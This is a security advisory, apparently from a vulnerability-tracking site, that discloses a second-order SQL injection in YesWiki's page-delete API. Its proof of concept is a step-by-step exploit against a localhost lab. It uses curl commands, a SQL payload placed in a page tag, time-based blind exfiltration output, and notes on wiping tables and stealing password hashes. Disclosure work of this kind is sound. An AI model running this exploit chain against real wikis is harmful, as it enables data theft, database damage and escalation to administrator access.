YesWiki: Second-Order SQL Injection in Page Delete API via Unescaped Page Tag (`ApiController::deletePage`)
위협 신호 · CVSS · EPSS · KEV
이론적 심각도 점수
예측 데이터 없음
실측 악용 기록 없음
계획된 패치 주기 내 조치(60일 이내)
CVSS 벡터 · 메트릭
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:L상세 설명
Summary
ApiController::deletePage() interpolates a page tag retrieved from the database into a DELETE FROM …_links WHERE to_tag = '$tag' query without escaping. The page tag is attacker-controlled — the POST /api/pages/{tag} API accepts arbitrary URL-encoded values, including single quotes, and stores them. A low-privilege authenticated user can therefore create a page whose tag is a SQL fragment, make the page non-orphaned via the standard {{include page="…"}} link mechanism, and then invoke the delete endpoint to execute arbitrary SQL inside the wiki database - including time-based blind data exfiltration from any table.
This is a classic second-order SQL injection: the INSERT correctly escapes the value, so the malicious tag is stored intact and the input passes every "is this value safe to put in the database?" check; the sink is the read-back-and-reuse path, where escaping is omitted.
Details
Affected component
- File:
includes/controllers/ApiController.php - Method:
ApiController::deletePage($tag) - Route:
@Route("/api/pages/{tag}", methods={"DELETE"}, options={"acl":{"+"}})—acl:"+"means any authenticated user. - Sink: line 626
1// includes/controllers/ApiController.php (v4.6.5 = origin/doryphore-dev HEAD, 2// lines 607–631) 3public function deletePage($tag) 4{ 5 $pageManager = $this->getService(PageManager::class); 6 $pageController = $this->getService(PageController::class); 7 $dbService = $this->getService(DbService::class); 8 ... 9 try {10 $page = $pageManager->getOne($tag, null, false); // (a) safe SELECT11 if (empty($page)) { ... } else {12 $tag = isset($page['tag']) ? $page['tag'] : $tag;// ^ raw tag from DB13 $result['notDeleted'] = [$tag];14 if ($this->wiki->UserIsOwner($tag) || $this->wiki->UserIsAdmin()) {15 if (!$pageManager->isOrphaned($tag)) {16 $dbService->query(17 "DELETE FROM {$dbService->prefixTable('links')}18 WHERE to_tag = '$tag'"); // (b) SINK — unescaped19 }20 ...The same anti-pattern shows up in two adjacent files; both were noted in the original submission and confirmed during validation:
tools/tags/handlers/page/__deletepage.phpline 14 -DELETE … WHERE to_tag = '$tag', where$tag = $this->GetPageTag()is again the raw stored tag.handlers/page/deletepage.phplines 93–94 -LoadAll('SELECT DISTINCT from_tag FROM …links WHERE to_tag = '" . $this->GetPageTag() . "'"), same pattern as a SELECT instead of a DELETE.
The API path is the easiest sink to reach because it requires only acl:"+" and a single HTTP request; the other two require a logged-in user to navigate to the page's delete handler
A low-privilege account can carry the whole chain:
- Plant —
POST /api/pages/{evil}with body=anything.PageManager::save()escapes the tag at INSERT time ('\''in SQL ⇒ stored'), so the tag persists with its single quote intact. The new page is owned by the attacker, soUserIsOwner($tag)in the delete handler will return true. - Make non-orphaned — save any second page whose body contains
{{include page="<evil>"}}through the web edit handler.LinkTracker::preventTrackingActions()parses the include directive, looks up the referenced page (PageManager::getOne()finds it because lookup usesescape(), which matches the stored quote), andLinkTracker::persist()inserts a row(from_tag='Linker', to_tag='<evil>')into_links— again withescape()on the way in, so the raw quote round-trips. - Trigger —
DELETE /api/pages/{evil}. The delete handler reads the page (escaped SELECT, finds the row), assigns$tag = $page['tag'](the raw stored value, including'), runsisOrphaned($tag)(escaped SELECT, returns not orphaned because step 2 inserted a row), and then runs the unescapedDELETE FROM …_links WHERE to_tag = '$tag'. The SQL parser sees the attacker-controlled'as the end of the string literal; everything after it is treated as SQL.
The injection point is WHERE to_tag = '<here>' — any payload of the form <anything>' <SQL>-- works. With time-based primitives (SLEEP), the attacker reads any byte of any row of any table the wiki account can see.
End to End Steps to reproduce the issue
- Preflight
- lab is up at http://localhost:8085
- Logging in
- admin 'WikiAdmin' and low-priv 'TestUser01' both logged in
- Tier 1 - POST /api/pages/<evil-tag> (as TestUser01)
- PROOF: tag stored RAW in yeswiki_pages → 'SleepTag' OR SLEEP(2)-- '
- Tier 2 - make the evil page non-orphaned
- PROOF: yeswiki_links row → LinkPoc->SleepTag' OR SLEEP(2)--
- Tier 2 - DELETE /api/pages/<evil-tag> (as TestUser01)
- baseline (non-existent tag) : 0.468s
- exploit (SLEEP(2) in tag) : 2.555s
- delta : 2.087s
- PROOF : Δ ≥ 1.5 s → SLEEP(2) ran inside the DELETE on L626
- Tier 3 - time-based blind data exfiltration
- char='w' elapsed=0.505s miss
- char='x' elapsed=0.495s miss
- char='y' elapsed=3.522s <- HIT
- char='z' elapsed=0.662s miss
- PROOF : conditional SLEEP fired only for 'y'
RESULT: second-order SQL injection in DELETE /api/pages/{tag} is CONFIRMED.
PoC
Pre Reqs
Had the following things setup in advance:
- Yeswiki v4.6.5 lab image (Setup via podman)
- Admin & User Account setup.
Parts used across PoC:
- Site responding at
http://localhost:8085 - Admin account:
WikiAdmin / AdminPoc12345 - Low-priv account:
TestUser01 / TestPass12345(this is the attacker)
For the rest of this document, set:
1BASE="http://localhost:8085" 2CTR="yeswiki-poc" 3PREFIX="yeswiki_" 4CJ=/tmp/yw_user.txt # cookie jar for our low-priv attackerConfirm the vulnerable line is actually there:
1podman exec "$CTR" \ 2 grep -n "DELETE FROM.*links.*WHERE to_tag" \ 3 /var/www/html/includes/controllers/ApiController.phpExpected output:
1626: $dbService->query("DELETE FROM {$dbService->prefixTable('links')} WHERE to_tag = '$tag'");Log in as the low-privilege attacker. We will get the session in return
1rm -f "$CJ" 2curl -s -c "$CJ" -o /dev/null "${BASE}/?LoginPoc" \ 3 --data-urlencode "action=login" --data-urlencode "context=LoginPoc" \ 4 --data-urlencode "name=TestUser01" --data-urlencode "password=TestPass12345" \ 5 --data-urlencode "remember=1" 6 7# Verify the session is logged in: 8SID=$(grep -oE 'YesWiki-main[[:space:]]+[a-f0-9]+' "$CJ" | awk '{print $2}') 9podman exec -u root "$CTR" grep '^user|' "/tmp/sess_${SID}"Plant a page whose tag contains SQL meta-characters.
The Symfony route accepts the default [^/]+ regex for {tag}, so single quotes pass through unmodified. The INSERT correctly escapes the value for SQL injection purposes, but escaping is an SQL-layer concern: the stored byte string still contains the literal '. That is the seed of the second-order bug.
1EVIL_TAG="SleepTag' OR SLEEP(2)-- " 2EVIL_ENC=$(printf '%s' "$EVIL_TAG" | \ 3 podman exec -i "$CTR" php -r 'echo rawurlencode(file_get_contents("php://stdin"));') 4 5echo "raw tag : $EVIL_TAG" 6echo "URL-encoded : $EVIL_ENC" 7 8curl -s -b "$CJ" -X POST "${BASE}/?api/pages/${EVIL_ENC}" \ 9 --data-urlencode "body=poc"- The API accepted a tag with a literal
'and SQL keywords, completely unsanitized. - The single quote round-tripped through
PageManager::save()'sescape()and is now sitting in the database byte-for-byte asSleepTag' OR SLEEP(2)--— exactly what an attacker needs the read-back to return. TestUser01is the owner, so the eventualUserIsOwner($tag)check in the delete handler will pass for them.
Now, create a second page that will link to the evil page
The sink at L626 is gated by if (!$pageManager->isOrphaned($tag)). To pass it, the evil tag has to appear as a to_tag somewhere in the _links table. The cleanest way is the legitimate {{include page="…"}} mechanism: a page whose body references the evil tag will register a link.
First, create the placeholder linker via the API (no link tracking on this path - that fires from the web editor):
1curl -s -b "$CJ" -X POST "${BASE}/?api/pages/LinkPoc" \ 2 --data-urlencode "body=placeholder" 3 4# Grab its id — we'll need it for the edit form's hidden "previous" field 5LINKID=$(podman exec "$CTR" mysql -uroot yeswiki -N -e \ 6 "SELECT id FROM ${PREFIX}pages WHERE tag='LinkPoc' AND latest='Y';") 7echo "LinkPoc id = $LINKID"Make the evil page non-orphaned (web edit handler)
Submit a web-editor save with body {{include page="<evil tag>"}}. The pre-handler tools/security/handlers/page/__edit.php would normally require a hashcash token, but env/install.sh disables use_hashcash so this works without one. Hashcash is irrelevant to the SQLi sink itself; production deployments that leave it enabled are still vulnerable, just slightly more involved to trigger.
1NEW_BODY='{{include page="SleepTag'"'"' OR SLEEP(2)-- "}} rev-1' 2 3curl -sL -b "$CJ" -X POST "${BASE}/?LinkPoc/edit" \ 4 --data-urlencode "submit=Sauver" \ 5 --data-urlencode "previous=${LINKID}" \ 6 --data-urlencode "body=${NEW_BODY}"- The web edit handler called
LinkTracker::registerLinks($page, false, false)(handlers/page/edit.php:69). registerLinks()formatted the page body and reachedpreventTrackingActions()(includes/services/LinkTracker.php:160).- That regex extracted
SleepTag' OR SLEEP(2)--from{{include page="…"}}, calledPageManager::getOne(<extracted>)which found the page (lookup usesescape(), so a stored'still matches), and called$this->add($page['tag']). LinkTracker::persist()then inserted(from_tag='LinkPoc', to_tag='<evil tag, raw quote>')into_links.
Proves: the second-order data has now been planted on both sides of the join the vulnerable DELETE query touches.
We need a control measurement before the actual SQLi, so the delta is unambiguous. Delete a tag we know doesn't exist:
1T0=$(date +%s.%N) 2curl -s -b "$CJ" -X DELETE "${BASE}/?api/pages/NonExistent99" -o /dev/null 3T1=$(date +%s.%N) 4awk "BEGIN{printf \"baseline elapsed: %.3fs\n\", $T1-$T0}"Expected output: baseline elapsed: ~0.3–0.7 s (one-shot HTTP round-trip + a fast SELECT … WHERE tag = …). Record this number.
Trigger the SQLi (Tier 2 - the actual vulnerability fires)
Issue a DELETE /api/pages/<evil tag>. The handler reads the page back from the DB, sees the row, takes $tag = $page['tag'] (the raw stored value, still containing '), checks isOrphaned() (returns not orphaned because step 5 inserted a row), and runs the unescaped DELETE on L626. With our tag, that becomes:
1DELETE FROM yeswiki_links WHERE to_tag = 'SleepTag' OR SLEEP(2)-- ' 2 ^^^ ^^^^^^^^^^^^^^^^ 3 | injected SQL 4 breakoutSLEEP(2) runs once per row scanned. We seeded one row, so the call should hang ~2 s before responding.
1T0=$(date +%s.%N) 2curl -s -b "$CJ" -X DELETE "${BASE}/?api/pages/${EVIL_ENC}" -o /tmp/yw_del.json 3T1=$(date +%s.%N) 4awk "BEGIN{printf \"exploit elapsed: %.3fs\n\", $T1-$T0}" 5 6echo "--- response ---" 7cat /tmp/yw_del.json; echoExpected output (the precise timing varies by host, but the delta relative to step 6 is what matters):
1exploit elapsed: 2.555s 2--- response --- 3{"deleted":["SleepTag' OR SLEEP(2)-- "]}Impact
- Blind extraction of any column the wiki database account can read: user password hashes (
_users.password), email addresses, ACLs (_acls.list), private page bodies (_pages.body), database session data, etc. - The sink is a
DELETE; an attacker can appendOR 1=1--to wipe the entire_linkstable, breaking inter-page navigation site-wide. The path can also be combined withUNION-style techniques to read into an error if the DBMS surfaces them (most YesWiki setups suppress errors, hence time-based blind is the realistic primary primitive). SLEEP()per row scales with link-table size; a malicious tag withSLEEP(60)on a wiki with N links will hang one connection for ~60 N seconds, easily exhausting the MariaDB worker pool._users.passwordhashes are bcrypt; offline cracking of weaker passwords yields admin sessions. The bug therefore acts as a low-priv → admin primitive, and chains with the bazar deserialization bug (separate advisory) as low-priv → admin → object injection / future RCE
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.